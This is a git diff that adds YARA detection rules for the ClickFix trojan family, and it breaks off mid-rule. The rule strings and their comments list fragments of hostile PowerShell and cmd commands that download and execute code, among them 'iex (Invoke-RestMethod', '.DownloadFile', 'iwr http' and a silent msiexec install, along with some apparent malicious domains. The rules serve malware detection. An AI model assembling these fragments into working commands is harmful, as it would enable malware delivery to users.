b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DED_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DED_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DED!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 43 00 6f 00 6d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 6c 00 } //10 New-Object -ComObject WScript.Shell + $a_00_2 = {2e 00 53 00 70 00 65 00 63 00 69 00 61 00 6c 00 46 00 6f 00 6c 00 64 00 65 00 72 00 73 00 28 00 27 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 27 00 29 00 } //10 .SpecialFolders('Startup') + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEG_MTB.yar new file mode 100644 index 0000000000..2d65b0f0b2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEG_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 67 00 75 00 69 00 64 00 5d 00 3a 00 3a 00 4e 00 65 00 77 00 47 00 75 00 69 00 64 00 28 00 29 00 } //10 [guid]::NewGuid() + $a_00_2 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //10 $env:TEMP + $a_02_3 = {2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 28 00 [0-50] 24 00 } //10 + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_02_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEK_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEK_MTB.yar new file mode 100644 index 0000000000..3f859422e6 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEK_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEK_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 67 00 75 00 69 00 64 00 5d 00 3a 00 3a 00 4e 00 65 00 77 00 47 00 75 00 69 00 64 00 28 00 29 00 2e 00 54 00 6f 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 29 00 } //10 [guid]::NewGuid().ToString() + $a_00_2 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //10 $env:TEMP + $a_00_3 = {2d 00 4f 00 75 00 74 00 46 00 69 00 6c 00 65 00 20 00 24 00 } //10 -OutFile $ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEL_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEL_MTB.yar new file mode 100644 index 0000000000..81f62fe35b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEL_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEL_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa1 00 ffffffa1 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_02_1 = {53 00 74 00 61 00 72 00 74 00 [0-04] 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //50 + $a_00_2 = {77 00 77 00 77 00 2e 00 7a 00 6f 00 75 00 74 00 75 00 62 00 65 00 2e 00 63 00 6f 00 6d 00 } //10 www.zoutube.com + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*100+(#a_02_1 & 1)*50+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=161 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEM_MTB.yar new file mode 100644 index 0000000000..c919eb66a5 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEM_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DEM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2e 00 48 00 65 00 61 00 64 00 65 00 72 00 73 00 2e 00 41 00 64 00 64 00 28 00 } //10 .Headers.Add( + $a_00_2 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 24 00 } //10 .DownloadFile($ + $a_00_3 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 2b 00 } //1 =$env:temp+ + $a_00_4 = {3d 00 4a 00 6f 00 69 00 6e 00 2d 00 50 00 61 00 74 00 68 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 =Join-Path $env:TEMP + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEN_MTB.yar new file mode 100644 index 0000000000..f22c7fdc67 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEN_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_DEN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2f 00 67 00 65 00 2f 00 62 00 6f 00 72 00 65 00 6e 00 } //10 /ge/boren + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10) >=110 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEO_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEO_MTB.yar new file mode 100644 index 0000000000..cb86f38988 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEO_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEO_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEO!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 4e 00 65 00 74 00 2e 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 50 00 6f 00 69 00 6e 00 74 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 5d 00 3a 00 3a 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 50 00 72 00 6f 00 74 00 6f 00 63 00 6f 00 6c 00 3d 00 } //10 [Net.ServicePointManager]::SecurityProtocol= + $a_00_2 = {69 00 72 00 6d 00 20 00 24 00 } //10 irm $ + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEP_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEP_MTB.yar new file mode 100644 index 0000000000..76be1b1496 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEP_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEP_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEP!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //10 [System.Convert]::FromBase64String($ + $a_00_2 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //10 [System.Text.Encoding]::UTF8.GetString( + $a_00_3 = {69 00 65 00 78 00 20 00 24 00 63 00 6d 00 64 00 } //10 iex $cmd + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEQ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEQ_MTB.yar new file mode 100644 index 0000000000..96a102f5e8 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEQ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEQ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 00 " + + strings : + $a_00_0 = {63 00 4d 00 64 00 2e 00 45 00 78 00 45 00 20 00 2f 00 56 00 3a 00 4f 00 4e 00 20 00 2f 00 43 00 } //100 cMd.ExE /V:ON /C + $a_00_1 = {6d 00 53 00 68 00 26 00 20 00 73 00 65 00 74 00 } //10 mSh& set + $a_00_2 = {41 00 2e 00 65 00 58 00 45 00 26 00 } //10 A.eXE& + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEU_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEU_MTB.yar new file mode 100644 index 0000000000..adc1294a91 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEU_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEU_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEU!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {3d 00 27 00 69 00 65 00 78 00 27 00 3b 00 26 00 } //10 ='iex';& + $a_00_2 = {3d 00 27 00 69 00 65 00 78 00 27 00 3b 00 20 00 26 00 } //10 ='iex'; & + $a_00_3 = {2e 00 63 00 6f 00 6d 00 2f 00 61 00 6c 00 6c 00 2e 00 70 00 68 00 70 00 } //1 .com/all.php + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEV_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEV_MTB.yar new file mode 100644 index 0000000000..b2a996a9c3 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEV_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEV_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEV!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 63 00 68 00 61 00 72 00 5d 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 54 00 6f 00 49 00 6e 00 74 00 33 00 32 00 28 00 24 00 } //10 [char][convert]::ToInt32($ + $a_00_2 = {5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 } //10 [ScriptBlock]::Create( + $a_00_3 = {29 00 7c 00 25 00 7b 00 } //10 )|%{ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEW_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEW_MTB.yar new file mode 100644 index 0000000000..2ab4a13249 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEW_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEW_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEW!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 00 " + + strings : + $a_00_0 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 2b 00 } //100 =$env:TEMP+ + $a_00_1 = {5b 00 67 00 75 00 69 00 64 00 5d 00 3a 00 3a 00 4e 00 65 00 77 00 47 00 75 00 69 00 64 00 28 00 29 00 } //10 [guid]::NewGuid() + $a_00_2 = {5b 00 69 00 6f 00 2e 00 66 00 69 00 6c 00 65 00 5d 00 3a 00 3a 00 57 00 72 00 69 00 74 00 65 00 41 00 6c 00 6c 00 42 00 79 00 74 00 65 00 73 00 28 00 24 00 } //10 [io.file]::WriteAllBytes($ + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEX_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEX_MTB.yar new file mode 100644 index 0000000000..bf238d7451 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEX_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEX_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEX!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 00 " + + strings : + $a_00_0 = {50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 } //100 PowerShell + $a_00_1 = {69 00 65 00 78 00 20 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 } //10 iex (Invoke-RestMethod + $a_00_2 = {64 00 6d 00 76 00 72 00 66 00 64 00 2e 00 63 00 6f 00 6d 00 } //10 dmvrfd.com + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEY_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEY_MTB.yar new file mode 100644 index 0000000000..15e0dcba60 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEY_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DEY_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 06 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 } //100 msiexec + $a_00_1 = {2f 00 6e 00 6f 00 72 00 65 00 73 00 74 00 61 00 72 00 74 00 } //10 /norestart + $a_00_2 = {2f 00 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 } //10 /package + $a_00_3 = {2f 00 70 00 61 00 73 00 73 00 69 00 76 00 65 00 } //10 /passive + $a_00_4 = {2e 00 6d 00 73 00 69 00 } //1 .msi + $a_00_5 = {2e 00 74 00 78 00 74 00 } //1 .txt + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEZ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEZ_MTB.yar new file mode 100644 index 0000000000..a182dad76e --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEZ_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DEZ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEZ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 06 00 00 " + + strings : + $a_00_0 = {50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 } //100 PowerShell + $a_00_1 = {5c 00 57 00 2a 00 5c 00 2a 00 33 00 32 00 5c 00 63 00 3f 00 3f 00 6c 00 2e 00 65 00 } //10 \W*\*32\c??l.e + $a_00_2 = {7c 00 20 00 69 00 65 00 78 00 } //10 | iex + $a_00_3 = {67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 } //-1000 github.com + $a_00_4 = {72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 } //-1000 raw.githubusercontent.com + $a_00_5 = {67 00 69 00 74 00 6c 00 61 00 62 00 2e 00 63 00 6f 00 6d 00 } //-1000 gitlab.com + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*-1000+(#a_00_4 & 1)*-1000+(#a_00_5 & 1)*-1000) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFA_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFA_MTB.yar new file mode 100644 index 0000000000..9bd558a0ac --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DFA_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 05 00 00 " + + strings : + $a_00_0 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //1 net.webclient + $a_00_1 = {35 00 74 00 68 00 65 00 64 00 2e 00 63 00 68 00 72 00 69 00 73 00 74 00 6d 00 61 00 73 00 2f 00 75 00 70 00 44 00 61 00 74 00 65 00 2e 00 69 00 73 00 6f 00 } //100 5thed.christmas/upDate.iso + $a_00_2 = {7a 00 65 00 64 00 61 00 31 00 73 00 2e 00 62 00 6f 00 75 00 74 00 69 00 71 00 75 00 65 00 2f 00 75 00 50 00 64 00 61 00 54 00 65 00 2e 00 69 00 73 00 6f 00 } //100 zeda1s.boutique/uPdaTe.iso + $a_00_3 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 64 00 61 00 6e 00 69 00 6c 00 69 00 2d 00 6d 00 79 00 68 00 6f 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 2e 00 69 00 6e 00 66 00 6f 00 } //100 https://danili-myhomework.info + $a_00_4 = {73 00 61 00 6d 00 75 00 6c 00 65 00 2e 00 63 00 69 00 74 00 79 00 } //100 samule.city + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFC_MTB.yar new file mode 100644 index 0000000000..2ecc01f2b3 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFC_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DFC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {3d 00 27 00 69 00 65 00 27 00 2b 00 24 00 } //10 ='ie'+$ + $a_00_2 = {3d 00 27 00 69 00 72 00 27 00 2b 00 24 00 } //10 ='ir'+$ + $a_00_3 = {5d 00 3b 00 26 00 24 00 } //10 ];&$ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFD_MTB.yar new file mode 100644 index 0000000000..39de5fab0d --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFD_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DFD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2e 00 6d 00 73 00 69 00 3b 00 20 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 69 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //10 .msi; msiexec /i $env:TEMP + $a_00_2 = {2e 00 6d 00 73 00 69 00 20 00 2f 00 71 00 62 00 } //10 .msi /qb + $a_00_3 = {69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 } //10 iwr http + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFE_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFE_MTB.yar new file mode 100644 index 0000000000..d65bd6bcb7 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFE_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DFE_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 41 00 50 00 50 00 44 00 41 00 54 00 41 00 2b 00 } //10 =$env:APPDATA+ + $a_00_2 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 24 00 } //10 .DownloadFile($ + $a_00_3 = {24 00 61 00 2b 00 24 00 62 00 2b 00 24 00 63 00 2b 00 24 00 64 00 } //10 $a+$b+$c+$d + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFG_MTB.yar new file mode 100644 index 0000000000..ce794113e2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFG_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DFG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 00 " + + strings : + $a_00_0 = {5b 00 67 00 75 00 69 00 64 00 5d 00 3a 00 3a 00 4e 00 65 00 77 00 47 00 75 00 69 00 64 00 28 00 29 00 } //100 [guid]::NewGuid() + $a_00_1 = {63 00 75 00 72 00 6c 00 } //10 curl + $a_00_2 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 41 00 50 00 50 00 44 00 41 00 54 00 41 00 2b 00 } //1 =$env:APPDATA+ + $a_00_3 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 2b 00 } //1 =$env:TEMP+ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFJ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFJ_MTB.yar new file mode 100644 index 0000000000..0d7830c382 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFJ_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DFJ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 05 00 00 " + + strings : + $a_00_0 = {25 00 55 00 53 00 45 00 52 00 50 00 52 00 4f 00 46 00 49 00 4c 00 45 00 25 00 20 00 26 00 20 00 63 00 75 00 72 00 6c 00 20 00 25 00 } //100 %USERPROFILE% & curl % + $a_00_1 = {25 00 75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 20 00 26 00 26 00 20 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 2d 00 } //100 %userprofile% && curl.exe -- + $a_00_2 = {2e 00 70 00 68 00 70 00 20 00 26 00 26 00 20 00 66 00 74 00 70 00 20 00 2d 00 73 00 3a 00 } //10 .php && ftp -s: + $a_00_3 = {63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 63 00 64 00 } //1 cmd /c cd + $a_00_4 = {63 00 6d 00 64 00 20 00 2f 00 69 00 20 00 2f 00 63 00 20 00 63 00 64 00 } //1 cmd /i /c cd + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFL_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFL_MTB.yar new file mode 100644 index 0000000000..d8f5c6ff99 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFL_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DFL_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 03 00 00 " + + strings : + $a_00_0 = 